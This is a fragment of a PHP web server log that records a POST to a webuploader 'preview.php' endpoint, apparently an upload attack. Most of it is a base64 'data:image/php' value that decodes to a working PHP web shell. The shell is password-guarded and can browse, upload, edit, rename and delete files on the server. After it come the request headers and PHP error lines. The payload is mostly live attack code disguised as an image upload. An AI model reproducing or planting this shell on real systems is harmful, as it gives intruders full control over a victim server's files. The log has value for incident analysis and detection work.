'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:36+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/js/webuploader/0.1.5/server/preview.php [运行时间:0.002578s] [吞吐率:387.89req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 